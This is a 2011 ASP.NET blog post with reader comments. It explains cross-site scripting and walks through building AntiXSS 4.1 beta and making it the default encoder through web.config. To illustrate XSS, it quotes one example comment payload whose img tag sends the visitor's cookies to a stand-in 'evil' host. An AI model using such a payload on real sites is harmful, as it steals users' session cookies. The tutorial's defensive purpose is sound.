Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET - Jon Galloway

Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

Background on Cross-site scripting attacks

Cross-site scripting attacks, or XSS, are a common web application vulnerability in which an attacker uses your website to present malicious code to another user. OWASP sums it up like this:

Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

A simple example of this kind of attack works like this:

  1. A hacker - we'll call him Barry - notices that my blog's comment system doesn't screen input
  2. Barry posts some malicious content, maybe something with a script tag, or maybe something that steals cookies, like
    Great post! Gucci handbags! <img src='http://evil.ly/?cookies=' + escape(document.cookie)" />
  3. The next person to visit my site - we'll call him Rob Conery - is presented with the HTML that Barry posted in the comment, which grabs their cookies and sends them off to their evil server

This is a simple example, but as you can imagine, these attacks can get pretty devious. Twitter, Facebook, and MySpace have been hit with this. Take a look at the OWASP writeup for more info, and take a look at the XSS Cheat Sheet at ha.ckers.org to get an idea of how sneaky these attacks can be.

AntiXSS

AntiXSS, part of the Windows Protection Library, has a lot of encoding functions which help prevent XSS attacks in ASP.NET applications. Whereas the standard .NET framework encoding uses a blacklist approach, filtering out known bad characters, like < > and " characters, the AntiXSS library uses a whitelist of known good characters. AntiXSS also has protections in place spanning character sets in over a different languages. Due to this approach, AntiXSS is inherently safer against new XSS attacks.

There are two ways you can use AntiXSS in your ASP.NET applications:

  1. You can make use of the AntiXSS Encoder in your application code (e.g. controller code, View markup, Web Forms code behind, and Web Forms markup)
  2. If you're using ASP.NET 4.0, you can also specify a default encoder, which will be used by ASP.NET whenever it needs to encode output. The recommended approach is to use AntiXSS as your default encoder.

All this is, so far, old news. Phil Haack wrote a blog post last year on  Using AntiXss As The Default Encoder For ASP.NET. This required including the AntiXssLibrary assembly in your application, and writing a class which inherits from the HttpEncoder abstract base class, and making a setting in the web.config which tells the ASP.NET runtime to use your encoder class.

Starting with AntiXSS 4.1, though, this gets easier, since AntiXSS 4.1 includes an encoder class for you.

Getting the AntiXSS 4.1 library

Since AntiXSS 4.1 is currently in beta, you'll need to build the assembly from source. Fortunately, in a break from the standard OSS .NET projects I've encountered lately, Barry has posted source that builds without any wacky configuration steps, libraries, or build tools whatsoever. I like it already!

Note: Since this we're just adding an assembly to our project and making a simple change to the web.config, I would expect that this will be available as a  NuGet package when AntiXSS 4.1 goes RTM.

1. Grab the source from http://wpl.codeplex.com/SourceControl/list/changesets, download the latest version of the source, and build. Easy so far.

2. Build the Microsoft.Security.Application.Encoder.Net4 assembly. This is important - if you just build the Encoder project, it won't include the AntiXssEncoder class.

2011-04-27 16h28_43

3. Grab the AntiXssEncoder.dll assembly and drop it in a folder. I generally keep a /lib folder next to my project folder, so it sits next to the /packages folder if you've got NuGet packages installed as well.

2011-04-28 10h03_08

4. Add a project reference to the AntiXssLibrary.dll. The simplest way to do this is to use the Project / Add Reference dialog, pick the Browse tab, and navigate to the /lib folder you just added.

2011-04-28 10h06_47

5. Modify your web.config so that your system.web/httpRuntime/encoderType is set as shown below:


<system.web>
  <httpRuntime encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" />
  <compilation debug="true" targetFramework="4.0">
    <assemblies>
      <add assembly="System.Web.Abstractions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.Helpers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.Routing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.Mvc, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.WebPages, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
    </assemblies>
  </compilation>

That's it. Now any time ASP.NET needs to encode content, it will delegate to the AntiXssEncoder.

What's changed?

Well, there's really an observable change, honestly. I asked around for examples of known XSS vulnerabilities that would get by the ASP.NET default encoder but would be caught by switching to use AntiXSS as the default encoder and came up empty. So... was I just wasting your time?

No, this was still time well spent, for three reasons:

  1. AntiXSS is inherently more secure due to using a whitelist approach. Many security audits and certifications will require you to use a whitelist XSS encoder because a blacklist is always potentially vulnerable to unknown attacks.
  2. Newer browsers have better XSS filtering built in, but there are vulnerabilities in older browser (e.g. UTF-7 charset switch) which wouldn't be detected picked up by the ASP.NET default encoder.
  3. It's now easier to use the other AntiXSS encoding functions within your application. We'll look at that in the next post.
Published Thursday, April 28, 2011 11:27 AM by Jon Galloway
Filed under: ,

Comments

# Preventing Javascript Encoding XSS attacks in ASP.NET MVC

I just posted about cross-site scripting, or XSS attacks, in ASP.NET . Javascript Encoding XSS attacks

Thursday, April 28, 2011 2:31 PM by Jon Galloway

# re: Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

Good one

Thursday, April 28, 2011 4:58 PM by Shelly

# re: Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

HEY! I resemble that remark (although, for demo porpoises I redirect to www.katyperry.com these days)

Thursday, April 28, 2011 7:38 PM by barryd

# re: Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

I think we are using Anti-Xss 4 library for our encoder as well, but I think it has a bug.

In our project, if we do this:

@Html.TextAreaFor(m => m.ModelProp)

It generates a <textarea> field with spaces between class names encoded and the line break that is supposed to be rendered inside the tag (a null property value) encoded as well. So when you click the textarea, Firefox assumes the value is the line break.

I tried this same code on a blank project and it works fine.

It might be our implementation but does anyone else have or have you seen that issue?

Friday, April 29, 2011 2:47 PM by Kamran

# re: Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

I installed this package using NuGet but I don't see it update my Web.config file. Should I do it manually?

Friday, April 29, 2011 11:22 PM by non

# ASP.NET MVC Archived Buzz, Page 1

Pingback from  ASP.NET MVC Archived Buzz, Page 1

Tuesday, May 03, 2011 12:05 PM by ASP.NET MVC Archived Buzz, Page 1

# what does someone do when their ears are continually ringing? | girls images

Pingback from  what does someone do when their ears are continually ringing? | girls images

# re: Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

HEY! I resemble that remark (although, for demo porpoises I redirect to www.jeansfake.com these days)

Thursday, May 05, 2011 7:16 AM by true religion jeans outlet

# re: Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

Great article, I think you covered everything there.

Thursday, May 05, 2011 11:18 PM by new era caps

# re: Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

@Kamran - yes, it's a known issue, however it's a MVC issue. That team has been made aware of it.

@non - the NuGet package is release code, v4.0. It's not the 4.1 beta, I feel uncomfortable about putting beta code on NuGet. You must go to codeplex, pull the source and compile it up yourself if you want to swap the default encoder out.

Friday, May 06, 2011 10:10 AM by barryd

# re: Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

Your build instructions don't work.  I opened the default solution and added the Encoder.Net4 project (it wasn't there to begin with).  Flipped to release mode, and right-click built the Encoder.Net4 project.  I had to grab the AntiXss.snk from v3.1 because it was missing and sign Encoder as well for the build to work.  The resulting output is two assemblies (AntiXssLibrary.dll and Microsoft.Security.Application.Encoded.Net4.dll)  The former doesn't have the AntiXssEncoder class.  The latter does.

Friday, August 05, 2011 11:03 AM by Dae

# re: Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

Thursday, November 17, 2011 1:17 AM by subiparihar

# re: Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

Hi Jon,

We've added the AntiXSS to our web.config, but we noticed that e.g. the src-attribute of an ASP.NEt Image control gets urlencoded: src="http%3a//www.microsoft.nl/logo.png"

Now the image has an invalid url. Is this fixable?

Tuesday, May 08, 2012 3:59 AM by Raimond Kuipers

Leave a Comment

(required) 
(required) 
(optional)
(required)